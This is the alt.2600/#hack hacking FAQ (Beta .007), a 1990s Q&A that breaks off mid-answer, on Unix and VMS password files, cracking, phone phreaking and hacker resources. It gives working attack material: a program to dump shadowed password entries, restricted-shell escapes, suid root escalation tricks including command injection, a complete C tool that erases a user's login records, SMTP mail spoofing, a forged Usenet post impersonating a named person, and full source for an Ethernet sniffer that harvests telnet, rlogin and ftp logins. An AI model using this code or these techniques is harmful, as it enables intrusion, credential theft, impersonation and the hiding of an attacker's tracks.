Summary: This posting contains a list of Frequently Asked Questions (and their answers) about hacking. It should be read by anyone who wishes to post to the alt.2600 newsgroup or use the IRC channel #hack. Editors Note: Welcome to Beta .007, licensed to amuse. This release of the #hack FAQ is now the alt.2600/#hack FAQ. Tomes, editor of the alt.2600 FAQ, and I have merged our two FAQ's into one. Eleet greets go out to Tomes. This release is dedicated to Eric S. Real for not only emailing me the first real flame for the FAQ, but also including a huge advertisement for a book he is hawking. To quote our little buddy Eric "I will denounce you and your cracker pals as the pathetic scum you are. *And* do my best to see that as many as possible of you end up in Leavenworth getting butt-fucked by reality." Eric, this Bud's for you. Many sections are missing or incomplete. The #hack FAQ comes with no warranties, express or implied. If you have a questions regarding any of the topics covered in the FAQ, please direct it to alt.2600 or #hack. Please do not e-mail me with them, I'm getting swamped. If your copy of the #hack FAQ does not end with the letters EOT on a line by themselves, you do not have the entire FAQ. I promise to spell check this beast before I release version 1.0. ** BETA ** Beta Revision .007 alt.2600/#Hack F.A.Q. by Voyager will@gnu.ai.mit.edu Sysop of Hacker's Haven (303)343-4053 With special thanks to: A-Flat, Al, Aleph1, Bluesman, C-Curve, Edison, KCrow, Major, Presence, Rogue Agent, sbin, Tomes and TheSaint. We work in the dark We do what we can We give what we have Our doubt is our passion, and our passion is our task The rest is the madness of art. -- Henry James Section A: Computers 01. How do I access the password file under Unix? 02. How do I crack Unix passwords? 03. How do I access the password file under VMS? 04. How do I crack VMS passwords? 05. What is NIS/yp? 06. What is password shadowing? 07. How do I break out of a restricted shell? 08. How do I gain root from a suid script or program? 09. How do I erase my presence from the system logs? 10. How do I send fakemail? 11. How do I fake posts to UseNet? 12. How do I hack ChanOp on IRC? 13. How do I modify the IRC client to hide my real username? 14. What is a trojan/worm/virus/logic bomb? 15. How can I protect myself from virii and such? 16. What is Cryptoxxxxxxx? 17. What is PGP? 18. What is Tempest? U 19. How to I change to directores with strange characters in them? 20. What is ethernet sniffing? 21. What is an Internet Outdial? 22. What are some Internet Outdials? N 23. How do I defeat copy protection? N 24. What is this system? N 25. What are the default accounts for XXX ? N 26. What port is XXX on? Section B: Telephony U 01. What is a Red Box? U 02. How do I build a Red Box? N 03. Where can I get a 6.5536Mhz crystal? 04. Which payphones will a Red Box work on? 05. What is a Blue Box? 06. Do Blue Boxes still work? 07. What is a Black Box? 08. What do all the colored boxes do? U 09. What is the ANAC number for my area? 10. What is a ringback number? U 11. What is the ringback number for my area? 12. What is a loop? 13. What is a loop in my area? 14. What is a CNA number? U 15. What is the telephone company CNA number for my area? 16. What is scanning? 17. Is scanning illegal? N 18. Where can I purchase a lineman's handset? N 19. What are the DTMF frequencies? Section C: Resources U 01. What are some ftp sites of interest to hackers? U 02. What are some newsgroups of interest to hackers? 03. What are some telnet sites of interest to hackers? U 04. What are some gopher sites of interest to hackers? U 05. What are some World wide Web (WWW) sites of interest to hackers? 06. What are some IRC channels of interest to hackers? 07. What are some BBS's of interest to hackers? 08. What books are available on this subject? U 09. What are some mailing lists of interest to hackers? N 10. What are some print magazines of interest to hackers? N 11. What are some organizations of interest to hackers? Section D: 2600 N 01. What is alt.2600? N 02. What does "2600" mean? N 03. Are there on-line versions of 2600 available? N 04. I can't find 2600 at any bookstores. What can I do? N 05. Why does 2600 cost more to subscribe to than to buy at a newsstand? Section E: Miscellaneous U 01. What does XXX stand for? N 02. How do I determine if I have a valid credit card number? U 03. Where can I get a copy of the #hack FAQ? U == Updated since last release of the #hack FAQ N == New since last release of the #hack FAQ Section A: Computers ~~~~~~~~~~~~~~~~~~~~ 01. How do I access the password file under Unix? In standard Unix the password file is /etc/passwd. On a Unix system with either NIS/yp or password shadowing, much of the password data may be elsewhere. 02. How do I crack Unix passwords? Contrary to popular belief, Unix passwords cannot be decrypted. Unix passwords are encrypted with a one way function. The login program encrypts the text you enter at the "password:" prompt and compares that encrypted string against the encrypted form of your password. Password cracking software uses wordlists. Each word in the wordlist is encrypted with each of the 4096 possible salt values and the results are compared to the encrypted form of the target password. The best cracking program for Unix passwords is currently Crack by Alec Muffett. For PC-DOS, the best package to use is currently CrackerJack. 03. How do I access the password file under VMS? Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However, unlike Unix, most users do not have access to read the password file. 04. How do I crack VMS passwords? Write a program that uses the SYS$GETUAF functions to compare the results of encrypted words against the encrypted data in SYSUAF.DAT. Two such programs are known to exist, CHECK_PASSWORD and GUESS_PASSWORD. 05. What is NIS/yp? NIS (Network Information System) in the current name for what was once known as yp (Yellow Pages). The purpose for NIS is to allow many machies on a network to share configuration information, including password data. NIS is not designed to promote system security. If your system uses NIS you will have a very short /etc/passwd file with a line that looks like this: +::0:0::: To view the real password file use this command "ypcat passwd" 06. What is password shadowing? Password shadowing is a security system where the encrypted password field of /etc/password is replaced with a special token and the encrypted password is stored in a seperate file which is not readable by normal system users. To defeat password shadowing on many (but not all) systems, write a program that uses successive calls to getpwent() to obtain the password file. Example: #include main() { struct passwd *p; while(p=getpwent()) printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); } 07. How do I break out of a restricted shell? On poorly implemented restricted shells you can break out of the restricted environment by running a program that features a shell function. A good example is vi. Run vi and use this command: :set shell=/bin/sh then shell using this command: :shell 08. How do I gain root from a suid script or program? 1. Change IFS. If the program calls any other programs using the system() function call, you may be able to fool it by changing IFS. IFS is the Internal Field Seperator that the shell uses to delimit arguments. If the program contains a line that looks like this: system("/bin/date") and you change IFS to '/' the shell will them interpret the proceeding line as: bin date Now, if you have a program of your own in the path called "bin" the suid program will run your program instead of /bin/date. To change IFS, use this command: IFS='/';export IFS # Bourne Shell setenv IFS '/' # C Shell export IFS='/' # Korn Shell 2. link the script to -i Create a symbolic link named "-i" to the program. Running "-i" will cause the interpreter shell (/bin/sh) to start up in interactive mode. This only works on suid shell scripts. Example: % ln suid.sh -i % -i # 3. Exploit a race condition Replace a symbolic link to the program with another program while the kernel is loading /bin/sh. Example: nice -19 suidprog ; ln -s evilprog suidroot 4. Send bad input the the program. Invoke the name of the program and a seperate command on the same command line. Example: suidprog ; id 09. How do I erase my presence from the system logs? Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose. Example: #include #include #include #include #include #include #include #include #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else printf("Error.\n"); } 10. How do I send fakemail? Telnet to port 25 of the machine you want the mail to appear to originate from. Enter your message as in this example: HELO bellcore.com MAIL FROM:Voyagor@bellcore.com RCPT TO:clinton@whitehouse.gov DATA Please discontinue your silly Clipper initiative. . QUIT On systems that have RFC 931 implemented, spoofing your "MAIL FROM:" line will not work. Test by sending yourself fakemail first. 11. How do I fake posts to UseNet? Use inews to post. Give inews the following lines: From: Newsgroups: Subject: Message-ID: Date: Organization: For a moderated newsgroup, inews will also require this line: Approved: Then add your post and terminate with . Example: From: Eric S. Real Newsgroups: alt.hackers Subject: Pathetic bunch of wannabe losers Message-ID: Date: Fri, 13 Aug 1994 12:15:03 Organization: Moral Majority A pathetic bunch of wannabe losers is what most of you are, with no right to steal the honorable title of `hacker' to puff up your silly adolescent egos. Get stuffed, get lost, and go to jail. Eric S. Raymond ^D Note that many systems will append an Originator: line to your message header, effectively revealing the account from which the message was posted. 12. How do I hack ChanOp on IRC? Find a server that is split from the rest of IRC and create your own channel there using the name of the channel you want ChanOp on. When that server reconnects to the net, you will have ChanOp on the real channel. If you have ServerOp on a server, you can cause it to split on purpose. 13. How do I modify the IRC client to hide my real username? Get the IRC client from cs.bu.edu /irc/clients. Look at the source code files irc.c and ctcp.c. The code you are looking for is fairly easy to spot. Change it. Change the username code in irc.c and the ctcp information code in ctcp.c. Compile and run your client. Here are the diffs from a sample hack of the IRC client. Your client code will vary slighty depending on what IRC client version you are running. *** ctcp.c.old Wed Feb 10 10:08:05 1993 --- ctcp.c Fri Feb 12 04:33:55 1993 *************** *** 331,337 **** struct passwd *pwd; long diff; int uid; ! char c; /* * sojge complained that ircII says 'idle 1 seconds' --- 331,337 ---- struct passwd *pwd; long diff; int uid; ! char c, *fing; /* * sojge complained that ircII says 'idle 1 seconds' *************** *** 348,354 **** if (uid != DAEMON_UID) { #endif /* DAEMON_UID */ ! if (pwd = getpwuid(uid)) { char *tmp; --- 348,356 ---- if (uid != DAEMON_UID) { #endif /* DAEMON_UID */ ! if (fing = getenv("IRCFINGER")) ! send_ctcp_reply(from, ctcp->name, fing, diff, c); ! else if (pwd = getpwuid(uid)) { char *tmp; *** irc.c.old Wed Feb 10 06:33:11 1993 --- irc.c Fri Feb 12 04:02:11 1993 *************** *** 510,516 **** malloc_strcpy(&my_path, "/"); if (*realname == null(char)) strmcpy(realname, "*Unknown*", REALNAME_LEN); ! if (*username == null(char)) { if (ptr = getenv("USER")) strmcpy(username, ptr, NAME_LEN); --- 510,518 ---- malloc_strcpy(&my_path, "/"); if (*realname == null(char)) strmcpy(realname, "*Unknown*", REALNAME_LEN); ! if (ptr = getenv("IRCUSER")) ! strmcpy(username, ptr, NAME_LEN); ! else if (*username == null(char)) { if (ptr = getenv("USER")) strmcpy(username, ptr, NAME_LEN); 14. What is a trojan/worm/virus/logic bomb? This FAQ answer is excerpted from: Computer Security Basics by Deborah Russell and G.T. Gengemi Sr. Trojan: An independent program that appears to perform a useful function but that hides another unauthorized program inside it. When an authorized user performs the apparrent function, the trojan horse performs the unauthorized function as well (often usurping the priveleges of the user). Virus: A code fragment (not an independent program) that reproduces by attaching to another program. It may damage data directly, or it may degrade system performance by taking over system resources which are then not available to authorized users. Worm: An independent program that reproduces by copying itself from one system to another, usually over a network. Like a virus, a worm may damage data directly, or it may degrade system performace by tying up system resources and even shutting down a network. Logic Bomb: A method for releasing a system attack of some kind. It is triggered when a particular condition (e.g., a certain date or system operation) occurs. 15. How can I protect myself from virii and such? Always write protect your floppy disks when you are not purposefully writing to them. Use ATTRIB to make all of your EXE and COM files read only. This will protect you from many poorly written viruses. Scan any software that you receive with a recent copy of a good virus scanner. The best virus scanner currently available for DOS is F-Prot by Fridrik Skulason. The current version is FP-212C. It is best to use more than one virus scanner. That will decrease your chances of missing a virus. Backup regularly, and keep several generations of backups on hand. If you always backup over your last backup, you may find yourself with an infected backup tape. 16. What is Cryptoxxxxxxx? This FAQ answer is excerpted from: Computer Security Basics by Deborah Russell and G.T. Gengemi Sr. A message is called either plaintext or cleartext. The process of disguising a message in such a way as to hide its substance is called encryption. An encrypted message is called ciphertext. The process of turning ciphertext back into plaintext is called decryption. The art and science of keeping messages secure is called cryptography, and it is practiced by cryptographers. Cryptanalysts are practitioners of cryptanalysis, the art and science of breaking ciphertext, i.e. seeing through the disguise. The branch of mathematics embodying both cryptography and cryptanalysis is called cryptology, and it's practitioners are called cryptologists. 17. What is PGP? This FAQ answer is excerpted from: PGP(tm) User's Guide Volume I: Essential Topics by Philip Zimmermann PGP(tm) uses public-key encryption to protect E-mail and data files. Communicate securely with people you've never met, with no secure channels needed for prior exchange of keys. PGP is well featured and fast, with sophisticated key management, digital signatures, data compression, and good ergonomic design. Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high security cryptographic software application for MSDOS, Unix, VAX/VMS, and other computers. PGP allows people to exchange files or messages with privacy, authentication, and convenience. Privacy means that only those intended to receive a message can read it. Authentication means that messages that appear to be from a particular person can only have originated from that person. Convenience means that privacy and authentication are provided without the hassles of managing keys associated with conventional cryptographic software. No secure channels are needed to exchange keys between users, which makes PGP much easier to use. This is because PGP is based on a powerful new technology called "public key" cryptography. PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public key cryptosystem with the speed of conventional cryptography, message digests for digital signatures, data compression before encryption, good ergonomic design, and sophisticated key management. And PGP performs the public-key functions faster than most other software implementations. PGP is public key cryptography for the masses. 18. What is Tempest? Computers and other electonic equipment release interference to their surrounding environment. You may observe this by placing two video monitors close together. The pictures will behave erratically until you space them apart. Although most of the time these emissions are simply annoyances, they can sometimes be very helpful. Suppose we wanted to see what project a target was working on. We could sit in a van outside her office and use sensitive electonic equipment to attempt to pick up and decipher the emanations from her video monitor. Our competitor, however, could shield the emanations from her equipment or use equipment without strong emanations. Tempest is the US Government program for evaluation and endorsement of electronic equipment that is safe from eavesdropping. 19. How to I change to directores with strange characters in them? These directories are often used by people trying to hide information, most often warez (commercial software). There are several things you can do to determine what these strange characters are. One is to use the arguments to the ls command that cause ls to give you more information: From the man page for ls: -F Causes directories to be marked with a trailing ``/'', executable files to be marked with a trailing ``*'', and symbolic links to be marked with a trailing ``@'' symbol. -q Forces printing of non-graphic characters in filenames as the character ``?''. -b Forces printing of non-graphic characters in the \ddd notation, in octal. Perhaps the most useful tool is to simply do an "ls -al filename" to save the directory of the remote ftp site as a file on your local machine. Then you can do a "cat -t -v -e filename" too see exactly what those bizarre little characters are. From the man page for cat: -v Causes non-printing characters (with the exception of tabs, newlines, and form feeds) to be displayed. Control characters are displayed as ^X (x), where X is the key pressed with the key (for example, m is displayed as ^M). The character (octal 0177) is printed as ^?. Non-ASCII characters (with the high bit set) are printed as M -x, where x is the character specified by the seven low order bits. -t Causes tabs to be printed as ^I and form feeds as ^L. This option is ignored if the -v option is not specified. -e Causes a ``$'' character to be printed at the end of each line (prior to the new-line). This option is ignored if the -v option is not set. If the directory name includes a or a you will need to enclose the entire directory name in quotes. Example: cd ".." On an IBM-PC, you may enter these special characters by holding down the key and entering the decimal value of the special character on your numeric keypad. When you release the key, the special character should appear on your screen. An ASCII chart can be very helpful. 20. What is ethernet sniffing? Ethernet sniffing is listening (with software) to the raw ethernet device for packets that interest you. When your software sees a packet that fits certain criteria, it logs it to a file. The most common criteria for an interesting packet is one that contains words like "login" or "password." Many enternet sniffers are available, here are a few that may be on your system now: OS Sniffer ~~ ~~~~~~~ HP/UX nettl (monitor) & netfmt (display) SunOS etherfind Solaris snoop DOS ETHLOAD LanWatch The Gobbler Netmon LanPatrol Netwatch Here is source code for an ethernet sniffer: /* Esniff.c */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define ERR stderr char *malloc(); char *device, *ProgName, *LogName; FILE *LOG; int debug=0; #define NIT_DEV "/dev/nit" #define CHUNKSIZE 4096 /* device buffer size */ int if_fd = -1; int Packet[CHUNKSIZE+32]; void Pexit(err,msg) int err; char *msg; { perror(msg); exit(err); } void Zexit(err,msg) int err; char *msg; { fprintf(ERR,msg); exit(err); } #define IP ((struct ip *)Packet) #define IP_OFFSET (0x1FFF) #define SZETH (sizeof(struct ether_header)) #define IPLEN (ntohs(ip->ip_len)) #define IPHLEN (ip->ip_hl) #define TCPOFF (tcph->th_off) #define IPS (ip->ip_src) #define IPD (ip->ip_dst) #define TCPS (tcph->th_sport) #define TCPD (tcph->th_dport) #define IPeq(s,t) ((s).s_addr == (t).s_addr) #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS)) #define MAXBUFLEN (128) time_t LastTIME = 0; struct CREC { struct CREC *Next, *Last; time_t Time; /* start time */ struct in_addr SRCip, DSTip; u_int SRCport, /* src/dst ports */ DSTport; u_char Data[MAXBUFLEN+2]; /* important stuff :-) */ u_int Length; /* current data length */ u_int PKcnt; /* # pkts */ u_long LASTseq; }; struct CREC *CLroot = NULL; char *Symaddr(ip) register struct in_addr ip; { register struct hostent *he = gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET); return( (he)?(he->h_name):(inet_ntoa(ip)) ); } char *TCPflags(flgs) register u_char flgs; { static char iobuf[8]; #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-') SFL(0,TH_FIN, 'F'); SFL(1,TH_SYN, 'S'); SFL(2,TH_RST, 'R'); SFL(3,TH_PUSH,'P'); SFL(4,TH_ACK, 'A'); SFL(5,TH_URG, 'U'); iobuf[6]=0; return(iobuf); } char *SERVp(port) register u_int port; { static char buf[10]; register char *p; switch(port) { case IPPORT_LOGINSERVER: p="rlogin"; break; case IPPORT_TELNET: p="telnet"; break; case IPPORT_SMTP: p="smtp"; break; case IPPORT_FTP: p="ftp"; break; default: sprintf(buf,"%u",port); p=buf; break; } return(p); } char *Ptm(t) register time_t *t; { register char *p = ctime(t); p[strlen(p)-6]=0; /* strip " YYYY\n" */ return(p); } char *NOWtm() { time_t tm; time(&tm); return( Ptm(&tm) ); } #define MAX(a,b) (((a)>(b))?(a):(b)) #define MIN(a,b) (((a)<(b))?(a):(b)) /* add an item */ #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \ register struct CREC *CLtmp = \ (struct CREC *)malloc(sizeof(struct CREC)); \ time( &(CLtmp->Time) ); \ CLtmp->SRCip.s_addr = SIP.s_addr; \ CLtmp->DSTip.s_addr = DIP.s_addr; \ CLtmp->SRCport = SPORT; \ CLtmp->DSTport = DPORT; \ CLtmp->Length = MIN(LEN,MAXBUFLEN); \ bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \ CLtmp->PKcnt = 1; \ CLtmp->Next = CLroot; \ CLtmp->Last = NULL; \ CLroot = CLtmp; \ } register struct CREC *GET_NODE(Sip,SP,Dip,DP) register struct in_addr Sip,Dip; register u_int SP,DP; { register struct CREC *CLr = CLroot; while(CLr != NULL) { if( (CLr->SRCport == SP) && (CLr->DSTport == DP) && IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) ) break; CLr = CLr->Next; } return(CLr); } #define ADDDATA_NODE(CL,DATA,LEN) { \ bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \ CL->Length += LEN; \ } #define PR_DATA(dp,ln) { \ register u_char lastc=0; \ while(ln-- >0) { \ if(*dp < 32) { \ switch(*dp) { \ case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \ break; \ case '\r': \ case '\n': fprintf(LOG,"\n : "); \ break; \ default : fprintf(LOG,"^%c", (*dp + 64)); \ break; \ } \ } else { \ if(isprint(*dp)) fputc(*dp,LOG); \ else fprintf(LOG,"(%d)",*dp); \ } \ lastc = *dp++; \ } \ fflush(LOG); \ } void END_NODE(CLe,d,dl,msg) register struct CREC *CLe; register u_char *d; register int dl; register char *msg; { fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time)); fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport)); fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport)); fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n", NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg); fprintf(LOG," DATA: "); { register u_int i = CLe->Length; register u_char *p = CLe->Data; PR_DATA(p,i); PR_DATA(d,dl); } fprintf(LOG,"\n-- \n"); fflush(LOG); if(CLe->Next != NULL) CLe->Next->Last = CLe->Last; if(CLe->Last != NULL) CLe->Last->Next = CLe->Next; else CLroot = CLe->Next; free(CLe); } /* 30 mins (x 60 seconds) */ #define IDLE_TIMEOUT 1800 #define IDLE_NODE() { \ time_t tm; \ time(&tm); \ if(LastTIMENext; \ if(CLe->Time ether_type); if(EtherType < 0x600) { EtherType = *(u_short *)(cp + SZETH + 6); cp+=8; pktlen-=8; } if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */ return; } /* ugh, gotta do an alignment :-( */ bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH)); ip = (struct ip *)Packet; if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */ return; tcph = (struct tcphdr *)(Packet + IPHLEN); if(!( (TCPD == IPPORT_TELNET) || (TCPD == IPPORT_LOGINSERVER) || (TCPD == IPPORT_FTP) )) return; { register struct CREC *CLm; register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4)); register u_char *p = (u_char *)Packet; p += ((IPHLEN * 4) + (TCPOFF * 4)); if(debug) { fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length); fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS)); fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD)); } if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) { CLm->PKcnt++; if(length>0) if( (CLm->Length + length) < MAXBUFLEN ) { ADDDATA_NODE( CLm, p,length); } else { END_NODE( CLm, p,length, "DATA LIMIT"); } if(TCPFL(TH_FIN|TH_RST)) { END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" ); } } else { if(TCPFL(TH_SYN)) { ADD_NODE(IPS,IPD,TCPS,TCPD,p,length); } } IDLE_NODE(); } } /* signal handler */ void death() { register struct CREC *CLe; while(CLe=CLroot) END_NODE( CLe, (u_char *)NULL,0, "SIGNAL"); fprintf(LOG,"\nLog ended at => %s\n",NOWtm()); fflush(LOG); if(LOG != stdout) fclose(LOG); exit(1); } /* opens network interface, performs ioctls and reads from it, * passing data to filter function */ void do_it() { int cc; char *buf; u_short sp_ts_len; if(!(buf=malloc(CHUNKSIZE))) Pexit(1,"Eth: malloc"); /* this /dev/nit initialization code pinched from etherfind */ { struct strioctl si; struct ifreq ifr; struct timeval timeout; u_int chunksize = CHUNKSIZE; u_long if_flags = NI_PROMISC; if((if_fd = open(NIT_DEV, O_RDONLY)) < 0) Pexit(1,"Eth: nit open"); if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0) Pexit(1,"Eth: ioctl (I_SRDOPT)"); si.ic_timout = INFTIM; if(ioctl(if_fd, I_PUSH, "nbuf") < 0) Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")"); timeout.tv_sec = 1; timeout.tv_usec = 0; si.ic_cmd = NIOCSTIME; si.ic_len = sizeof(timeout); si.ic_dp = (char *)&timeout; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)"); si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof(chunksize); si.ic_dp = (char *)&chunksize; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)"); strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; si.ic_cmd = NIOCBIND; si.ic_len = sizeof(ifr); si.ic_dp = (char *)𝔦 if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)"); si.ic_cmd = NIOCSFLAGS; si.ic_len = sizeof(if_flags); si.ic_dp = (char *)&if_flags; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)"); if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0) Pexit(1,"Eth: ioctl (I_FLUSH)"); } while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) { register char *bp = buf, *bufstop = (buf + cc); while (bp < bufstop) { register char *cp = bp; register struct nit_bufhdr *hdrp; hdrp = (struct nit_bufhdr *)cp; cp += sizeof(struct nit_bufhdr); bp += hdrp->nhb_totlen; filter(cp, (u_long)hdrp->nhb_msglen); } } Pexit((-1),"Eth: read"); } /* Authorize your proogie,generate your own password and uncomment here */ /* #define AUTHPASSWD "EloiZgZejWyms" */ void getauth() { char *buf,*getpass(),*crypt(); char pwd[21],prmpt[81]; strcpy(pwd,AUTHPASSWD); sprintf(prmpt,"(%s)UP? ",ProgName); buf=getpass(prmpt); if(strcmp(pwd,crypt(buf,pwd))) exit(1); } */ void main(argc, argv) int argc; char **argv; { char cbuf[BUFSIZ]; struct ifconf ifc; int s, ac=1, backg=0; ProgName=argv[0]; /* getauth(); */ LOG=NULL; device=NULL; while((acifr_name; } fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV); fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout", (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n"); if(!LOG) LOG=stdout; signal(SIGINT, death); signal(SIGTERM,death); signal(SIGKILL,death); signal(SIGQUIT,death); if(backg && debug) { fprintf(ERR,"[Cannot bg with debug on]\n"); backg=0; } if(backg) { register int s; if((s=fork())>0) { fprintf(ERR,"[pid %d]\n",s); exit(0); } else if(s<0) Pexit(1,"fork"); if( (s=open("/dev/tty",O_RDWR))>0 ) { ioctl(s,TIOCNOTTY,(char *)NULL); close(s); } } fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid()); fflush(LOG); do_it(); } 21. What is an Internet Outdial? An Internet outdial is a modem connected to the Internet than you can use to dial out. Normal outdials will only call local numbers. A GOD (Global OutDial) is capable of calling long distance. Outdials are an inexpensive method of calling long distance BBS's. 22. What are some Internet Outdials? This FAQ answer is excerpted from: BlackAdders FTP/FSP Site List. Area Address(s) Command(s) ------ ------------------------------- --------------------- 201 128.112.88.0 128.112.88.1 128.112.88.2 128.112.88.3 204 umnet.cc.manitoba.ca "dial12" or "dial24" 206 dialout24.cac.washington.edu 215 wiseowl.ocis.temple.edu atz atdt 9xxxyyyy 129.72.1.59 hayes compat 218 aa28.d.umn.edu cli rlogin modem at "login:" type "modem" modem.d.umn.edu "Hayes" 232 isn.rdns.iastate.edu MODEM [Works!!] atz atdt8xxx-xxxx 303 129.82.100.64 login: modem [need password!] 307 modem.uwyo.edu 129.72.1.59 hayes compat 313 35.1.1.6 "dial2400-aa" or [can't connect] "dial1200-aa" 404 emory.edu .modem8 or .dialout broadband.cc.emory.edu .modem8 or .dialout 128.140.1.239 .modem8|CR or .modem96|CR 412 gate.cis.pitt.edu LAT connect dialout ^E atdt 91k xxx-xxxx 415 128.32.132.250 "dial1" or "dial2" 416 pacx.utcs.utoronto.ca modem atdt 9xxx-xxxx 502 uknet.uky.edu outdial2400 atdt 9xxx-xxxx 510 annex132-1.eecs.berkeley.edu atdt 9,,,,, xxx-xxxx 514 132.204.2.11 externe#9 9xxx-xxxx 515 isn.rdns.iastate.edu login MODEM dial atdt8xxx-yyyy 602 129.219.17.3 atdt8,,,,,xyyyxxxyyyy 129.219.17.3 login: MODEM atdt 8xxx-xxxx 609 129.72.1.59 "Hayes" 128.119.131.110 "Hayes" 128.119.131.111 128.119.131.112 128.119.131.113 128.119.131.114 128.112.131.110 128.112.131.111 128.112.131.112 128.112.131.113 128.112.131.114 the above are hayes 614 ns2400.ircc.ohio-state.edu DIAL [can't connect] 615 dca.utk.edu "dial2400" 617 dialout.lcs.mit.edu 619 dialin.ucsd.edu "dialout" 128.54.30.1 nue 713 128.143.70.101 "connect hayes" 128.249.27.154 c modem96 atdt 9xxx-xxxx 128.249.27.153 " -+ as above +- " modem24.bcm.tmc.edu modem12.bcm.tmc.edu 714 130.191.4.70 atdt 8xxx-xxxx 804 ublan.acc.virginia.edu c hayes 128.143.70.101 connect hayes atdt xxx-xxxx 902 star.ccs.tuns.ca "dialout" [down...] 916 128.120.2.251 "dialout" [down...] 129.137.33.72 [can't connect] ??? dialout1.princeton.edu [can't connect] dswitch.byu.edu "C Modem" [can't connect] modem.cis.uflu.edu [can't connect] r596adi1.uc.edu [can't connect] vtnet1.cns.ut.edu "CALL" or "call" [can't connect] 18.26.0.55 [can't connect] 128.173.5.4 [need password!] 128.187.1.2 [need password!] 129.137.33.71 [can't connect] bstorm.bga.com / port=4000 [what is this?] N 23. What is an anonymous remailer? An anonymous remailer is a system on the Internet that allows you to send e-mail anonymously or post messages to Usenet anonymously. You apply for an anonymous ID at the remailer site. Then, when you send a message to the remailer, it sends it out from your anonymous ID at the remailer. No one reading the post will know your real account name or host name. If someone sends a message to your anonymous ID, it will be forwarded to your real account by the remailer. N 24. What are the addresses of some anonymous remailers? The most popular and stable anonymous remailer is anon.penet.fi, operated by Johan Helsingus. To obtain an anonymous ID, mail ping@anon.penet.fi. For assistance is obtaining an anonymous account at penet, mail help@anon.penet.fi. N 23. How do I defeat Copy Protection? There are two common methods of defeating copy protection. The first is to use a program that removes copy protection. Popular programs that do this are CopyIIPC from Central Point Software and CopyWrite from Quaid Software. The second method involves patching the copy 